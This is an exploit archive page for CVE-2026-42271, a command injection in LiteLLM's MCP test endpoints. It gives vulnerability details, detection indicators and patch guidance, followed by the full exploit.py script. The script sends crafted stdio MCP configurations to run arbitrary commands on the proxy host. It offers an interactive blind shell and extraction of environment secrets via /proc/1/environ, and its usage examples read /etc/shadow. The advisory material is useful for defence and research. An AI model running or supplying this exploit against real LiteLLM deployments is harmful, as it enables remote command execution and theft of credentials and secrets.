PoC Archive PoC Archive
High CVE-2026-42271 patched

Authenticated Command Injection in LiteLLM MCP Test Endpoints (CVE-2026-42271)

by Horizon3.ai (discovery/writeup); learner202649 (PoC) · 2026-07-01

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-06
Author / ResearcherHorizon3.ai (discovery/writeup); learner202649 (PoC)
CVE / AdvisoryCVE-2026-42271
Categoryweb
SeverityHigh
CVSS Score8.7 (CVSSv3)
StatusPoC
Tagscommand-injection, LiteLLM, MCP, AI-application, ai-gateway, authenticated, api-key, subprocess
RelatedCVE-2026-48710

Affected Target

FieldValue
Software / SystemBerriAI LiteLLM (proxy) — MCP preview/test endpoints
Versions Affected1.74.2 through 1.83.6
Language / PlatformPython
Authentication RequiredYes (any valid proxy API key, including low-privilege internal-user keys)
Network Access RequiredYes (HTTP to LiteLLM proxy)

Summary

CVE-2026-42271 is a command injection vulnerability in BerriAI LiteLLM’s MCP preview/test endpoints — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list. These endpoints accept a full MCP server configuration in the request body, including stdio-transport fields (command, args, env). When a request specifies a stdio configuration, LiteLLM spawns the supplied command as a subprocess on the proxy host to test the connection. The endpoints were protected only by possession of a valid proxy API key with no role check, so any authenticated user — including low-privilege internal-user key holders — could supply arbitrary commands for execution with the privileges of the LiteLLM proxy process. Horizon3.ai’s research also notes this can be chained with CVE-2026-48710 for unauthenticated exploitation in some configurations. Fixed in LiteLLM 1.83.7 by restricting these endpoints to the PROXY_ADMIN role.


Vulnerability Details

Root Cause

The MCP test-connection endpoints accept attacker-controlled command/args/env fields for a stdio-transport MCP server and pass them directly to a subprocess spawn, with only API-key possession (not role) enforced as authorization.

Attack Vector

  1. Obtain any valid LiteLLM proxy API key (including a low-privilege internal-user key).
  2. Send a POST /mcp-rest/test/connection request with an MCP stdio transport configuration whose command/args execute an attacker-chosen command.
  3. LiteLLM spawns the subprocess on the proxy host, executing the attacker’s payload with the privileges of the proxy process.

Impact

Command execution on the LiteLLM proxy host by any authenticated API-key holder, regardless of intended role — including blind/interactive shell access and environment-variable/secret extraction.


Environment / Lab Setup

Target:   LiteLLM proxy 1.74.2 - 1.83.6, docker-compose.yml pins vulnerable v1.82.6 for local repro
Attacker: Python 3 + requests, valid LiteLLM proxy API key

Proof of Concept

PoC Script

See exploit.py and payload.py in this folder.

1
python3 exploit.py --target https://litellm.example.com --api-key <key> --cmd "id"

Sends a crafted POST request to /mcp-rest/test/connection with a malicious stdio MCP configuration to trigger subprocess execution on the target host. Includes interactive blind-shell and reverse-shell payload generation, plus environment-variable extraction.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected subprocess creation by the LiteLLM proxy process
  • Outbound network connections or file access inconsistent with normal LiteLLM operation
  • API-key usage patterns showing MCP test-endpoint calls from keys with no legitimate MCP configuration need

Remediation

ActionDetail
Primary fixUpgrade LiteLLM to 1.83.7 or later (restricts MCP test endpoints to PROXY_ADMIN role)
Interim mitigationRestrict MCP test-endpoint access at a reverse proxy/WAF layer to admin-only source IPs/keys
VerifyBerriAI advisory GHSA-v4p8-mg3p-g94g

References


Notes

Auto-ingested from https://github.com/learner202649/CVE-2026-42271-PoC on 2026-07-01. Author’s other repos are narrowly scoped to the same LiteLLM CVE cluster (CVE-2026-47101, -47102, -40217, -35029/30), consistent with focused personal research rather than bulk CVE-farming.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python3
"""
CVE-2026-42271 — LiteLLM MCP stdio Command Injection Exploit

Exploits the POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list
endpoints to execute arbitrary commands on a vulnerable LiteLLM instance.

Usage:
    python3 exploit.py --target http://localhost:4000 --key sk-litellm-master-key --cmd "id"
    python3 exploit.py -t http://localhost:4000 -k sk-litellm-master-key -c "cat /etc/shadow > /tmp/out"
    python3 exploit.py -t http://localhost:4000 -k sk-litellm-master-key -i  # interactive
"""

import argparse
import json
import sys

import requests

from payload import generate_rce_payload


def exploit(
    target: str,
    api_key: str,
    command: str = "id",
    endpoint: str = "tools_list",
    proxy: str = None,
    timeout: int = 15,
    verify_ssl: bool = True,
) -> requests.Response:
    """
    Execute a command on a vulnerable LiteLLM instance.

    Args:
        target: Base URL (e.g. http://localhost:4000).
        api_key: Valid LiteLLM API key.
        command: Shell command to execute.
        endpoint: "tools_list" or "connection".
        proxy: Optional HTTP proxy (e.g. http://127.0.0.1:8080).
        timeout: Request timeout in seconds.
        verify_ssl: Verify SSL certificates.

    Returns:
        HTTP response object.
    """
    endpoint_paths = {
        "tools_list": "/mcp-rest/test/tools/list",
        "connection": "/mcp-rest/test/connection",
    }

    path = endpoint_paths.get(endpoint, endpoint_paths["tools_list"])
    url = f"{target.rstrip('/')}{path}"

    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json",
    }

    payload = generate_rce_payload(command)

    session = requests.Session()
    if proxy:
        session.proxies = {"http": proxy, "https": proxy}

    print(f"[*] Target     : {url}")
    print(f"[*] Endpoint   : {endpoint}")
    print(f"[*] Command    : {command}")
    if proxy:
        print(f"[*] Proxy      : {proxy}")

    resp = session.post(url, headers=headers, json=payload, timeout=timeout, verify=verify_ssl)
    resp.raise_for_status()

    try:
        result = resp.json()
        if result.get("status") == "error":
            # Expected — the spawned process doesn't speak MCP protocol
            print("[!] Server reported MCP connection error (expected — command likely executed)")
            print(f"[!] Server message: {result.get('message', 'N/A')}")
        else:
            print(f"[?] Unexpected response: {json.dumps(result, indent=2)}")
    except json.JSONDecodeError:
        print(f"[?] Raw response: {resp.text[:500]}")

    return resp


def interactive_shell(target: str, api_key: str, endpoint: str = "tools_list", **kwargs):
    """Interactive shell — each command is executed via the vulnerability."""
    print("[*] Interactive Shell (blind injection — verify via side effects)")
    print("[*] Type 'exit' to quit.\n")

    while True:
        try:
            cmd = input("$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break

        if not cmd or cmd.lower() in ("exit", "quit"):
            break

        try:
            exploit(target, api_key, command=cmd, endpoint=endpoint, **kwargs)
            print()
        except Exception as e:
            print(f"[-] Error: {e}")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-42271 — LiteLLM MCP stdio Command Injection Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument("-t", "--target", default="http://localhost:4000",
                        help="Target URL (default: http://localhost:4000)")
    parser.add_argument("-k", "--key", default="sk-litellm-master-key",
                        help="LiteLLM API key (default: sk-litellm-master-key)")
    parser.add_argument("-c", "--cmd", default="id",
                        help="Command to execute (default: id)")
    parser.add_argument("-e", "--endpoint", choices=["tools_list", "connection"],
                        default="tools_list",
                        help="Target endpoint (default: tools_list)")
    parser.add_argument("-i", "--interactive", action="store_true",
                        help="Interactive shell mode")
    parser.add_argument("-E", "--extract-env", action="store_true",
                        help="Extract LiteLLM environment via /proc/1/environ (bypasses MCP SDK env isolation)")
    parser.add_argument("-p", "--proxy",
                        help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    parser.add_argument("--timeout", type=int, default=15,
                        help="Request timeout (default: 15s)")

    args = parser.parse_args()

    kwargs = {
        "endpoint": args.endpoint,
        "proxy": args.proxy,
        "timeout": args.timeout,
    }

    if args.interactive:
        interactive_shell(args.target, args.key, **kwargs)
    else:
        command = args.cmd
        if args.extract_env:
            from payload import generate_env_extract_payload
            payload = generate_env_extract_payload()
            command = payload["args"][1]  # extract the raw command
            print("[*] Extracting LiteLLM environment via /proc/1/environ")
        try:
            resp = exploit(args.target, args.key, command=command, **kwargs)
            status = resp.status_code
            if status == 401:
                print("[-] Authentication failed — check your API key")
            elif status == 404:
                print("[-] Endpoint not found — target may be patched")
        except requests.exceptions.ConnectionError:
            print(f"[-] Connection failed to {args.target}")
            print("[-] Is the container running?")
            sys.exit(1)
        except requests.exceptions.Timeout:
            print("[-] Request timed out")
            sys.exit(1)


if __name__ == "__main__":
    main()